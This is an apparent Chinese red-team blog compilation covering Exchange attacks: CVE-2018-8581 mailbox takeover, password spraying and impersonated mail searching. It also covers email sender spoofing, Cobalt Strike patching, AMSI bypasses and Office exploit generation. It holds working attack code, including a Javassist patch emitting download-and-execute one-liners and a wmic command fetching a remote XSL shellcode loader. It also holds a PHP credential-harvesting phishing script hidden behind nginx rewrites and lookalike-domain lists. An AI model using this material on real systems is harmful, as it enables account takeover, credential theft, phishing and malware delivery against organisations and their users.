,添加附加邮箱:
此后,可接管被攻击账号的收件箱,查看所有邮件:
删除权限委托:
将脚本中FLAG修改为0,再次执行:
1 | python CVE-2018-8581.py |
Windows Exchange Server,是国内外应用非常广泛的邮件服务器,是微软公司的一套电子邮件服务组件。 简单而言,Exchange server可以被用来构架应用于企业、学校的邮件系统。所以通常渗透测试过程中也会对其进行攻击尝试。
通常Exchange Server 有以下endpoint,即可访问的连接如下:1
2
3
4
5
6
7
8
9https://Exchangeserver/AutoDiscover/
https://Exchangeserver/Ecp/
https://Exchangeserver/EWS/
https://Exchangeserver/mapi/
https://Exchangeserver/Microsoft-Server-ActiveSync/
https://Exchangeserver/OAB/
https://Exchangeserver/OWA/
https://Exchangeserver/PowerShell/
https://Exchangeserver/Rpc/
每个endpoint的作用如下:
endpoint | 说明 |
---|---|
/autodiscover | 自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。 |
/ecp “Exchange Control Panel” | Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台 |
/ews “Exchange Web Services” | Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互 |
/mapi | Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持 |
/Microsoft-Server-ActiveSync | 用于移动应用程序访问电子邮件 |
/OAB “Offline Address Book” | 用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担 |
/owa “Outlook Web APP” | Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等 |
/powershell | 用于服务器管理的Exchange管理控制台 |
/RPC | 早期的Outlook还使用称为Outlook Anywhere的RPC交互 |
以上endpoint中,常用于暴力破解的有/owa 、/ews、/Microsoft-Server-ActiveSync 及/autodiscover,如owa的暴力破解(passwordspray):
抓取登录包如下:
用户名可尝试使用domain\username、domian.com\username、username
使用某密码进行暴力破解:
/Microsoft-Server-ActiveSync
爆破为401认证,需要对用户账号密码进行base64处理:
YWRtaW46YWRtaW4=
->admin:admin
/ews
、/rpc
等几个endpoint同样为401认证,账号密码的加密方式为NTLM Authenticate:
爆破需对账号密码进行处理之后在进行。
对Exchange的利用首先要确定其是否使用了exchange,关于判断的方式,我知道的方式有:
1、checkO365
2、owa 登录页面,如:
3、特殊域名:
访问如下域名1
2
3
4https://autodiscover.domain.com/autodiscover/autodiscover.xml
https://owa.domian/owa/
https://mail.domain.com/
https://webmail.domain.com/
之后我们需要获取其至少一个账号的信息,那么就需要取搜集获取某域的用户列表,除了top username进行爆破,还可以使用theharvester、Mailget等工具进行搜集,另外还有一种通过延时来判断的方式。在MailSniper 写了这样几种来判断内部域和存在用户的方法:
首先来看Invoke-DomainHarvest,这里通过了几种方式来获取内部域名,构造参数如下:1
Invoke-DomainHarvestOWA -ExchHostname domian.com
脚本会构造如下url:1
2
3
4$OWAURL = ("https://" + $ExchHostname + "/owa/auth.owa")
$OWAURL2 = ("https://" + $ExchHostname + "/owa/")
$autodiscoverurl = ("https://" + $ExchHostname + "/autodiscover/autodiscover.xml")
$ewsurl = ("https://" + $ExchHostname + "/EWS/Exchange.asmx")
在未指定brute
的情况下,脚本会先请求autodiscoverurl
,若失败,再请求ewsurl,并通过请求头里面的NTLM Authenticate数据来猜测内部域名,如:
需要注意到是,未指定brute的时候需要更改-ExchHostname 为对应的autodiscoverurl及ewsurl
指定brute的情况下,则会使用通过时间延迟的方式来检测域名是否存在,首先会构造一些不存在的域及用户名请求owa,并记录其响应时间,之后使用构造的域字典及随机用户名来请求owa,根据其响应时间的不同来判断域及用户名,在这里有两种brute方式,第一种通过导入域名列表:1
Invoke-DomainHarvestOWA -ExchHostname mail.domain.com -DomainList .\domainlist.txt -OutFile potentially-valid-domains.txt -brute
第二种通过公司名称来猜测:1
Invoke-DomainHarvestOWA -ExchHostname mail.domain.com -CompanyName "bla bla" -OutFile potentially-valid-domains.txt -brute
获取域名之后,可导入用户名进行用户名存在检测:1
2Invoke-UsernameHarvestOWA -ExchHostname mail.domain.com -Domain domainname -UserList .\userlist.txt -Threads 1 -OutFile owa-valid-users.txt
Invoke-UsernameHarvestEAS -ExchHostname mail.domain.com -Domain domainname -UserList .\userlist.txt -Threads 1 -OutFile eas-valid-users.txt
PS : 作者说这个问题提交给微软以后并没有修复,但是实际测试效果并不好,但是没准碰到可以使用的情况也说不定。
当获取到一个用户的账号密码之后,可以通过Get-GlobalAddressList
来获取GlobalAddress的用户邮箱地址:1
Get-GlobalAddressList -ExchHostname owaurl -UserName username -Password password
在这里暴力破解的地方有很多个,首先可以通过burpsuite对OWA进行暴力破解,另外就是/autodiscover
、/ews
、/Microsoft-Server-ActiveSync
等几个endpoint,可利用的工具如:MailSniper、Ruler、SprayingToolkit,可根据个人喜好取舍。为了防止账号因多次登陆失败触发告警或账户被封禁,建议使用同密码爆破用户名的方式进行暴力破解。下面介绍一下MailSniper的相关方法的使用。
通过owa爆破:
1 | Import-Module .\MailSniper.ps1 |
通过ews爆破:
1 | Invoke-PasswordSprayEWS -ExchHostname EWSHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose |
通过Microsoft-Server-ActiveSync爆破:
1 | Invoke-PasswordSprayEAS -ExchHostname MSAHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose |
通过autodiscover 爆破:
在MailSniper中没有写对autodiscover的爆破,可以选择使用burp、ruler或者SprayingToolkit。
1 | python atomizer.py owa autodiscoverhost password user.txt |
1 | ./ruler --domain autodiscoverhost -k brute --users user.txt --passwords pass.txt --delay 0 --threads 10 -v |
在获取到某用户邮箱账号密码以后,我们可以对其邮件内容进行搜索,除了直接登录邮件外,也可以使用Exchange的接口进行邮件的检索,其接口的相关开发可以参考《Exchange Web Service(EWS)开发指南%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97/)》,在外网情况下,可使用此工具来列出邮件内容。1
./ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u username -p password -ewsPath https://ewshost/ews/Exchange.asmx -Mode ListMail -Folder Inbox
搜索某字符串:1
./ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u username -p password -ewsPath https://ewhost/ews/Exchange.asmx -Mode SearchMail -String vpn
或者使用MailSniper的Invoke-SelfSearch添加-remote
参数,输入账号密码即可。使用接口可以bypass一些owa的2FA
。
内网情况下可使用MailSniper来快速检索,如使用xiaoming\domain用户登录某主机,可在该主机上搜索xiaoming的邮箱(不需要密码)1
Invoke-SelfSearch -Mailbox user@domain.com -Terms *pass* -Folder all -ExchangeVersion Exchange2013_SP1 -OutputCsv 1.csv
如果获得了域管理员的密码,可以检索任意邮件的内容:
1 | Invoke-GlobalMailSearch -ImpersonationAccount beiguoxia -ExchHostname Exchangehostname -AdminUserName domain\administrator -AdminPassword password -Term "*pass*" -Folder all |
检索可使用
-Term
或者正则-Regex
来指定关键字,-ImpersonationAccount
用于将当前用户身份合法伪装其他邮箱用户,进而获得查询所有邮箱用户邮件的权限,如果查询失败,可以尝试添加-ExchangeVersion
更换Exchange版本,目前支持版本为Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013,Exchange2013_SP1
在获取一个用户的账号密码之后,如何进入内网?这里有一个神器Ruler,在Outlook中有一个Rules and Alerts的功能,利用此功能,可执行一些特定的如执行命令等操作,关于ruler的具体使用,可以参考相关文章,另外在内网中,如何去发现Exchange服务器,如何使用NTLM中继来接管某用户邮箱的权限,这些内容在《深入Exchange Server在网络渗透下的利用方法》中有了很详细的讲解,在这里就不多做阐述。
另外需要补充一点可能有用的东西,Exchange安装以后会创建一个Organization Management
安全组:
该组内的成员除了访问Exchagne设置外,可以修改其他Exchagne安全组的成员身份,如Exchange Trusted Subsystem
,此组为Exchange Windows Permissions
的成员
默认情况下,Exchange Windows Permissions
安全组对安装Exchange的域的域对象具有writeDACL权限,这就意味着,我们可以进行权限的提升,详细的文章可以参考《Escalating privileges with ACLs in Active Directory》。
本文记录了我自己对Exchange在渗透中的利用的一些方式的总结,欢迎补充,更详细的内容可以查看参考的文章。
一般来说,我们收到一封邮件之后,都会首先看发件人,如果是比较重要的邮件,我们可能会去看发件人地址,但是,如果发件人是伪造的,你还能知道是谁再给你发邮件么?
当我们在谷歌搜索发件人伪造的时候,可以看到很多很多的网站提供了这样的功能:
这些网站没有测试,不知道能不能成功伪造。
那到底是什么导致的发件人伪造呢?下面我们来分析分析造成发件人伪造的成因。
要想了解成因,我们需要首先了解一下什么是SMTP,首先先了解一下几个概念:
MUA:Mail User Agent。用户邮件代理,用户通过MUA接收发送邮件.例如Outlook, FoxMail等。
MTA: Mail Transfer Protocol。邮件传输代理,是SMTP的一种实现,MTA仅仅负责邮件的传输。如果信件的目的地并不是本身的用户,且该封信的相关数据符合使用 MTA 的权力, 那么MTA 就会将该封信再传送到下一部主机上。这即是所谓的转递的功能。
MDA: Mail Deliver Agent,邮件分发代理。负责将接收到的邮件保存在邮件服务器上,在这里可以设置对邮件进行过滤或自动回复。
MRA: Mail Receive Agent,邮件接收代理,用来实现IMAP,POP3协议,负责与MUA交互,将服务器上的邮件通过IMAP以及POP3传输给客户端。
SMTP全称是Simple Mail Transfer Protocol,直译过来就是简单邮件传输协议,主要的工作就是把邮件信息从发件人的邮件服务器中传送到接收人的邮件服务器中,偶尔我们使用MUA来发送邮件的话,也承载传输用户邮件到发件服务器的功能,但是SMTP存在一个问题,就是没有对发送方进行一个身份验证
。用下面的图来说明一下邮件的投递过程。
1、用户利用MUA寄信到MTA,这里面包含了几个项:
发信人与发信网站:例如 admin@evi1cg.me,其中evi1cg.me就是发信网站,即收信件的MTA。
收信人与收信网站:例如 admin@email.server,其中admin就是email.server里的一个账号。
2、当MTA收到信件后,会通过DNS的MX记录进行查询,如果email.server是MTA自己,此时MTA就会把邮件交给MDA处理,放置到收信者的信箱中。
3、如果email.server不是自己,那么这个信件就会被转送出去。
4、当远程MTA收到本地MTA转发的邮件后,会将信件交给它的MDA处理,等待用户的读取或下载。
正是由于MTA之间转发邮件是不需要认证的,所以这就成了可以伪造发件人的原因。
如何快速搭建自己的SMTP Server?这个网上有很多教程,这里为了快速搭建,可以选择使用ewomail,代码是开源的,搭建起来也比较方便,也有很好地说明文档,EwoMail是基于postfix和Dovecot,按照说明文档很快就可以部署完毕了,部署完毕以后需要添加用户账号:
之后就可以通过添加的账号来发送邮件了。
关于伪造域名有一个很好用的工具SimpleEmailSpoofer,下面我们就使用这个工具来测试一下:1
python SimpleEmailSpoofer.py -t 目标邮箱 -f 要伪造的发件人地址 -n From_name -e 邮件内容 -j 邮件主题 -s 你自己的smtp地址 -p 25 --user 你添加的用户 --pass 你添加用户的密码
在这里可以看到报错了,Sender address rejected: not owned by user xxx
, 这里是postfix设置的问题。需要进行一下修改/etc/postfix/main.cf
找到smtpd_sender_login_maps
,修改为:1
smtpd_sender_login_maps = mysql:/etc/postfix/mysql/mysql-sender-login-maps.cf,pcre:/etc/postfix/login_maps.pcre
新建/etc/postfix/login_maps.pcre
1
/^(.*)$/ test@yourdomain.com
意思是允许用户test@yourdomain.com的用户使用任意domain
找到smtpd_recipient_restrictions
,删除reject_unknown_sender_domain
,这样就不会对发送的域进行验证了。
修改完成以后,执行以下命令:1
2postmap /etc/postfix/login_maps.pcre
postfix reload
修改完成以后,再次发送:
查看gmail:
当然,在原始邮件里面,还是有自己的域名信息。如何尽量减少自己的信息,可以参考这篇文章。
经过测试,如果收信服务器对SPF校验不通过的邮件未作处理,仍然可以伪造添加过SPF记录的域。如QQ邮箱检查SPF失败就直接拒绝接收邮件,但是gmail仍然接收。这里要注意一点,SPF中如果配置为
~all
,则表示为接受来信,但是做标记,QQ邮箱里就会接收到此类伪造的邮件,但是回放置于垃圾邮件里。
这里有一个工具可以用来检测域名是否可以被伪造:spoofcheck,使用很简单,比如baidu:
为了使得域名不会被伪造,需要为域名正确配置SPF
、DKIM
、DMARC
。只配置SPF是不行的,关于SPF的配置可以参考这里,关于DKIM的配置,可以看这里,关于DMARC的配置可以参考这里。
1 |
|
java JDK
,win上默认没有keytool,所以需要自己去生成一个cobaltstrike.store ~1 | @echo off |
在使用Cobal Strike的过程中,我们可以看到里面已经集成了几种 Script Web Delivery,如下图:
而且在生成以后打开site,只需要点击Copy URL
就可以把命令复制出来,再写aggressor脚本时也想要实现这个功能,发现copy以后只有url,并没有命令,所以为了一探究竟,还是把CS解压,grep了一把,定位到common.CommonUtils,发现了OneLiner方法:
所以要实现这个功能我们就需要对这个class进行修改,增加我们想要的命令。
Javassist是一个能够操作字节码框架,通过它我们能很轻易的修改class代码。首先下载javassist ,新建一个java工程,右键工程导入javassist包。
我们可能常用mshta http://host/test.png
的方式来请求payload,可以使用一下代码进行添加:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62package changeclass;
import java.io.IOException;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;
public class change {
public static void main(String[] args) {
updateMethod();
}
public static void updateMethod(){
try {
ClassPool cPool = new ClassPool(true);
//如果该文件引入了其它类,需要利用类似如下方式声明
//cPool.importPackage("java.util.List");
//设置cobaltstrike.jar文件的位置
cPool.insertClassPath("/tmp/cobaltstrike.jar");
//获取该要修改的class对象
CtClass cClass = cPool.get("common.CommonUtils");
//获取到对应的方法
CtMethod cMethod = cClass.getDeclaredMethod("OneLiner");
//更改该方法的内部实现
//需要注意的是对于参数的引用要以$开始,不能直接输入参数名称
cMethod.setBody("{ if (\"bitsadmin\".equals($2)) {"
+ "String f = garbage(\"temp\");"
+ "return \"cmd.exe /c bitsadmin /transfer \" + f + \" \" + $1 + \" %APPDATA%\\\\\" + f + \".exe&%APPDATA%\\\\\" + f + \".exe&del %APPDATA%\\\\\" + f + \".exe\";}"
+ "if (\"powershell\".equals($2)) {"
+ "return PowerShellOneLiner($1);}"
+ "if (\"python\".equals($2)) {"
+ "return \"python -c \\\"import urllib2; exec urllib2.urlopen('\" + $1 + \"').read();\\\"\";}"
+ "if (\"regsvr32\".equals($2)) {"
+ "return \"regsvr32 /s /n /u /i:\" + $1 + \" scrobj.dll\";}"
+ "if (\"mshta\".equals($2)) {"
+ "return \"mshta \" + $1;}"
+ "if (\"wmic\".equals($2)) {"
+ " return \"wmic os get /format:\\\"\" + $1 + \"\\\"\";}"
+ "print_error(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");"
+ "throw new RuntimeException(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");}");
//修改以后输出目录
cClass.writeFile("/tmp/");
System.out.println("=======修改方法完=========");
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
在这里要注意的是,方法 OneLiner(String url, String type)有两个参数,方法中的参数从
$1
开始,若该方法为非 static 方法,可以用$0
来表示该方法实例自身,若该方法为 static 方法,则$0
不可用。而且写的代码需要将"
,\
进行转义。
运行此代码,可成功生成一个新的class:
将此class替换CS中的class就好了。
使用的时候只需要在aggressor中site_host中指定即可,例如使用wmic1
site_host(%options["host"], %options["port"], %options["uri"], $data, "text/plain", "Scripted Web Delivery (wmic)");
使用mshta1
site_host(%options["host"], %options["port"], %options["htauri"], $htadata, "application/hta", "Scripted Web Delivery (mshta)");
效果如下:
已经编译好的class可以从这里下载:
GIT : CS_Chinese_support
]]>去年James Forshaw开源了一个工具DotNetToJScript,能够利用JS、Vbs等脚本加载.Net程序。再此工具发布以后,很多很多的工具也在此基础上产生,比如StarFighters、CACTUSTORCH、SharpShooter等等,基于脚本的攻击也随之越来越多,所以在win10中,微软引入了AMSI,并将基于DotNetToJScript的脚本特征加入到检测之列。并将此工具标记为恶意软件。如果直接运行通过DotNetToJScript生成的脚本,便会直接拦截,如下图
最近,学到了两种bypass的方式,所以进行一下分享。
这里讲的禁用AMSI并不需要高权限,只需要一个简单的Trick,这个是从这篇文章学来的,通过Process Monitor 进行查看,设置以下过滤器:
运行通过DotNetToJScript生成的脚本,可以监控到以下调用过程:
这里我们可以看到,在加载AMSI之前,查询了以下注册表键值HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable
,尝试修改此键值为0:
再次运行脚本,可以看到shellcode成功执行了,如下图:
虽然修改注册表可以实现禁用AMSI,但是需要高权限,那怎样才可以在普通权限下禁用AMSI,其实通过@tiraniddo的文章我们可以看到,其实可以通过DLL劫持来进行绕过。通过Process Monitor可以看到检测过程中调用了C:\Windows\System32\amsi.dll
,如果我们把cscript.exe
重命名成amsi.dll会怎么样呢?1
2copy c:\windows\system32\cscript.exe amsi.dll
amsi.dll evil.js
可以看到成功shellcode 成功执行了,修改过滤器如下:
我们来看一下调用过程
可以看到,现在已经没有调用C:\Windows\System32\amsi.dll
,这也就让我们成功执行了我们的shellcode。
Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。经过测试,通过此方式来调用DotNetToJScript的脚本也是可以成功执行的。subTee的文章在这。利用命令如下:1
2
3
4#Local File
wmic process list /FORMAT:evil.xsl
#Remote File
wmic os get /FORMAT:"https://example.com/evil.xsl"
evil.xsl1
2
3
4
5
6
7
8
9
10
11
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
修改好的脚本,可以看这里:戳我
使用一下命令则可执行shellcode1
wmic os get /FORMAT:"https://raw.githubusercontent.com/Ridter/AMSI_bypass/master/shellcode.xsl"
但是使用wmic执行的时候会有一个问题,在powershell下执行会失败。如下图:
那么怎么调用呢?
在读了mdsec的这篇文章以后,我们发现,其实是可以通过COM来调用的。用javascript写可以这样:1
2
3
4
5
6var xml = new ActiveXObject("Microsoft.XMLDOM");
xml.async = false;
var xsl = xml;
xsl.load("http://host/a.xsl");
xml.transformNode(xsl);
self.close();
GIT : AMSI_bypass
使用如下图:
https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html
https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1
https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/
1 | python office2john.py 123.docx > hash.txt |
使用以下命令进行切割,转换成hashcat支持的形式:1
awk -F ":" '{print $2}' hash.txt > hashhc.txt
使用hashcat进行破解:1
hashcat -m 9500 hashhc.txt ~/wordlist/passwd.txt -o out.txt
这里我使用了office2010,所以选择9500,要根据对应版本来选择
选择版本可以使用 hashcat –help 来查看
破解成功如下:
cobaltstrike3.10 已经出来很久了,其中最吸引人的可能就是他已经支持中文了,但是貌似很久以来都没在网上看到3.10的资源,所以就没办法,拿手上的3.8 改改将就用。
首先我们要对cobaltstrike3.8进行反编译,这里可以参照之前破解的方法,戳我,使用jad进行反编译。
要怎么定位到要改哪里呢?
我们可以看一下CS的输出:
可以看到在输出之前有received output
,所以我们就可以检索这个关键字,马上可以定位到BeaconC2.class
文件,搜索“received output”一共有5个结果:
查看代码如下:
可以看到,输出的结果是由CommonUtils类的bString方法返回的,定位到CommonUtils.class文件查看代码:
可以看到传过来的数据使用 ISO8859-1 进行了编码。ISO8859-1属于单字节
编码,最多能表示的字符范围是0-255,应用于英文系列。比如,字母a的编码为0x61=97。 很明显, ISO8859-1 编码表示的字符范围很窄,无法表示中文字符。这就是CS无法显示中文的原因。经过测试,使用 ISO8859-1 进行中间编码是不会导致数据丢失的。那么我们是不是可以修改代码把编码转过来来呢?当然可以 !
但是由于自己比较菜,直接修改CommonUtils.java以后编译不过去(表示很难受,如果你会编译,还希望不吝赐教)。所以只能去修改BeaconC2.java。
经过多次测试,发现在CS上执行命令以后返回的结果编码为GBK,所以转码过程为
CommonUtils.java转码:1
GBK -> ISO8859-1
我们要修改的BeaconC2.1
ISO8859-1 -> GBK -> UTF-8
所以思路就很明朗了,我们只需要在传入rest之前把中文转换成UTF-8就可以了,代码也很简单,测试如下:
所以关键代码为:1
2
3String tmp = CommonUtils.bString(CommonUtils.readAll(in));
String tmp1 = new String(tmp.getBytes("ISO8859-1"),"gbk");
String rest = new String(tmp1.getBytes(),"utf-8");
源代码是这样:
修改以后是这样:
所以找到所有的:1
String rest = CommonUtils.bString(CommonUtils.readAll(in));
替换即可。
修改以后,需要把BeaconC2.java编译之后替换原来的BeaconC2.class。编译方法很简单,只需要把BeaconC2.java放到解压以后的CS目录,执行以下命令:1
javac -classpath . BeaconC2.java -Xlint:unchecked
在这里,可能会碰到以下报错
这里可以改一下代码,将1
2import c2profile.MalleableHook.MyHook;
import dns.DNSServer.Handler;
改为:1
2import c2profile.MalleableHook;
import dns.DNSServer;
在进行编译即可。之后将原来的BeaconC2.class替换,我们的CS就修改完成了。
这里录了一个DEMO:
经过小伙伴的反馈以及我自己的测试,发现这么粗暴的改是有问题的,如果把所有输出的编码都改了,会使得程序流程走不通,部分功能不能使用,所以还是要针对性的修改。也就是在BeaconC2.class
中修改想要的输出部分,首先,检索received output
, 把其对应的1
String rest = CommonUtils.bString(CommonUtils.readAll(in));
替换,之后经过测试 type == 22
是回显文件列表的,所以我们只需要修改这部分就好了。如下图:
这样就不会造成程序其他功能上的错误了。关于上传,下载,执行等,都写在TaskBeacon.class
里面,可以针对性对其编码进行修改。这里就不详细说明了,有兴趣的可以自己去读一下代码,关于文件浏览,我们可以定位到aggressor/windows/FileBrowser.class
,其双击事件代码如下:
调用了ls
方法:
ls 方法调用了 beacons.task_ls
,快速定位到server/Beacons.class
, 由于双击事件是取得返回转码以后的文字,所以要让功能正常使用,我们需要再将编码转回去,修改如下:
这样就可以正常使用文件浏览功能了,以上替换的class文件已经推到了github,欢迎小伙伴一起来修改bug~
GIT : CS_Chinese_support
]]>大家都知道apache,nginx等有rewrite的功能,通过rewrite规则可以把输入的URL转换成另一个URL,这是我们常见的一种需求,可以让我们的url变得更加简洁。但是其实这个功能也可被用于一些别的目的。下面就简单的介绍一下。
关于通过配置文件做后门已经有很多文章有了介绍,即.htaccess和.user.ini文件构造后门,关于.htaccess后门可以看这里,user.ini后门P牛也发过一篇文章,可以看这里,当然还有柠檬师傅的php.ini构成的后门。那么跟rewrite有什么关系呢。其实rewrite主要是为了逃避日志审查
,通过rewrite,我们可以通过访问一个图片后缀的文件来执行我们的webshell,但是修改这些配置文件需要一定的权限
。下面来进行一下简单的介绍。测试的时候主要是使用nginx,所以对nginx进行一下介绍,关于apache的配置有兴趣可以自己去查一波。下面是我的配置:
ngingx.conf1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
include /usr/local/nginx/vhosts/*.conf;
server {
listen 80;
server_name localhost;
location / {
root html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
配置了多个域名的配置,所以针对某个域名的配置文件在vhosts里面,要配置的域名的配置文件:mydomain.conf1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31server {
listen 80;
server_name mydomain.com;
root /www/mydomain;
index index.html index.php;
if ( $query_string ~* ".*[\;'\<\>].*" ){
return 404;
}
location ~ .*\.(gif|jpg|jpeg|bmp|png|swf|flv|ico)$ {
expires 30d;
}
location ~ .*\.(js|css)?$ {
expires 7d;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
#设置PATH_INFO并改写SCRIPT_FILENAME,SCRIPT_NAME服务器环境变量
set $fastcgi_script_name2 $fastcgi_script_name;
if ($fastcgi_script_name ~ "^(.+\.php)(/.+)$") {
set $fastcgi_script_name2 $1;
set $path_info $2;
}
fastcgi_param PATH_INFO $path_info;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name2;
fastcgi_param SCRIPT_NAME $fastcgi_script_name2;
}
}
要配置重定向很简单,只需要加入1
2
3location ~ \.png$ {
rewrite ^/img/test\.png$ /img/test.php last;
}
意思是匹配以png结尾的url,如果匹配到 img/test.png,则重定向到 img/test.php,所以,只需要在img目录下存放test.php,我们就可以通过访问 http://domain.com/img/test.png来访问。如下图:
关于更多匹配的规则,可以看这篇文章。
配置完需要重启nginx服务。
关于基础认证钓鱼,其实很早之前就已经有文章介绍过了,比如如何制作基础认证钓鱼页面。其实原理就是在页面中插入一个php的img,即:1
<img src="http://site.com/1.php"alt="Could not load image - Invalid credentils."/>>
php的代码就是401的验证,当用户打开这个页面的时候,由于请求了http://site.com/1.php,所以会弹出验证的页面,用户输入账号密码之后,密码则会被攻击者记录。
注:这种方法适用于Firefox和IE浏览器,Chrome并不会弹出基础认证窗口。
为了让此攻击达到更好地隐蔽效果,我们可以使用rewrite来重写url。则使得访问的链接文件后缀为一个图片。为了达到更好地攻击效果,写了以下php代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$now = new DateTime();
$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : "";
if ($user && $pass){
$fp = fopen("count.txt", "a");
$content = fread($fp);
$ip = $_SERVER["REMOTE_ADDR"];
$all = file_get_contents("count.txt");
fwrite($fp, $now->format("Y-m-d H:i:s") . "\t" . $ip . "\t" . $user . ":" . $pass . "\n");
$line = substr_count($all,$ip);
fclose($fp);
}
if($line < 2){
header('WWW-Authenticate: Basic realm="Corporate domain"');
}else{
header('content-type: image/png');
echo file_get_contents("test.png");
}
代码的功能就是弹出认证窗口,等待用户输入,并将输入的账号密码存到count.txt,如果此用户输入已达3次(一次输入可能是随便输入的账号密码),则输出正常图片。演示如下:
当然,你可以自己定义其他功能,比如将账号密码发送到邮箱等等。
php代码写好了,怎么利用呢?
其实我们要做到就是找各种编辑器,找那种可以远程插入图片的,然后插入我们的链接,如果网站直接把链接插入网站,那么在加载的时候,就会加载我们的验证页面。rewrite除了可以让后缀看起来是一个图片文件,其实还可以对一些编辑器进行绕过,比如插入远程图片的时候,编辑器对图片进行预览:
碰到这种情况,我们可以首先使用默认配置的nginx插入图片,如下图:
插入成功并提交以后,再重新修改rewrite。这样可以进行一些绕过。某种情景的攻击如下:
demo:
为了达到更好地效果。攻击者可以注册一个看起来受信任的域名。比如说,如果攻击者的目标是targetdomain.com,那么他就可以注册如下的类似地址:1
2
3
4
5
6
7targetdomain.co
targetdomain.net
target-domain.com
targetdomain-oauth.com
targetdomain-cdn.com
targetdomain-images.com
login-targetdomain.com
GIT:RTF_11882_0802
此脚本集合了两个公式利用漏洞。
利用方式与之前的方式一样。1
python RTF_11882_0802.py -c "cmd.exe /c calc.exe" -i test.rtf -o test.doc
其实就是简单粗暴的把两个公式编辑器插入文档中,一个是11882,一个是0802。
“噩梦公式二代”(CVE-2018-0802)所使用的0day漏洞堪称CVE-2017-11882的双胞胎漏洞,攻击样本中的一个漏洞针对未打补丁前的系统,另外一个漏洞针对打补丁后的系统,利用两个OLE同时进行攻击,黑客精心构造的攻击完美兼容了系统漏洞补丁环境的不同情况。这个漏洞的利用技巧和Bypass ASLR的方式都带有一定的巧合性,假如EQNEDT32.EXE模块内没有一条满足条件的ret指令可以用来绕过ASLR,假如lpLogFont不是sub_21774的第一个参数,假如CVE-2017-11882的补丁修复方式强制开启了DEP保护,“噩梦公式二代”将没有可乘之机。
一、及时更新补丁
补丁下载地址:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802
二、通过注册表禁用此模块,可通过修改注册表,禁用以下COM控件的方式进行缓解,其中XX.X为版本号
在运行中输入:1
reg add “HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000- 0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400
1 | reg add”HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000-0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400 |
注:此脚本只是为了安全研究,切勿非法使用!使用此脚本所造成的一切法律问题及后果,本站概不负责!
1 | $PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') |
获取exp的字节流,之后再在内存中加载exp,所以思路也很简单,我们只需要把需要的exp转换成字符串,写入脚本,就可以构造一个powershell脚本。
这里整理了一个脚本方便转换:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
$Base64String | set-content ("b64.txt")
}
使用zcgonvh的16032做演示。使用脚本转换:1
2PS C:\Users\evi1cg\Desktop\16_032> . .\Convert-BinaryToString.ps1
PS C:\Users\evi1cg\Desktop\16_032> Convert-BinaryToString -FilePath .\ms16-032_x64.exe
生成base64的字符串并存储在b64.txt中。
使用如下命令进行转换:1
2$InputString = "base64string"
$PEBytes = [System.Convert]::FromBase64String($InputString)
之后就可以使用1
